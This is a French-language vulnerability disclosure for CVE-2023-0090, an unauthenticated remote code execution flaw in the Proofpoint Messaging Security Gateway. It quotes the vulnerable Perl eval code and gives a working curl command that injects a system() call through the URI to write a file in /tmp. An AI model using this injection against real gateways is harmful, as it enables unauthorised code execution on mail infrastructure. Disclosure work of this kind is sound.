
Proofpoint Email Gateway: Unauthenticated RCE
Chercheur en sécurité : ly1g3, ly1g3[at]tuta.io
Empreinte GPG : https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Aperçu : Exécution de code à distance - RCE non authentifiée
CVE : CVE-2023-0090
Chronologie :
Exploits pour Proofpoint Messaging Security Gateway
Avec un accès à l'API WebServices, une RCE non authentifiée avec privilèges administrateur peut être réalisée.
Webservices.pm ne nettoie ni ne vérifie les entrées utilisateur. Aucune authentification n'est requise pour atteindre la fonction, mais l'accès à l'API doit être activé dans les paramètres pour pouvoir effectuer une RCE. $module provient directement des données utilisateur et est évalué.
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
Crée un fichier nommé abc dans /tmp/. Le code s'exécute en tant qu'utilisateur pps.
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"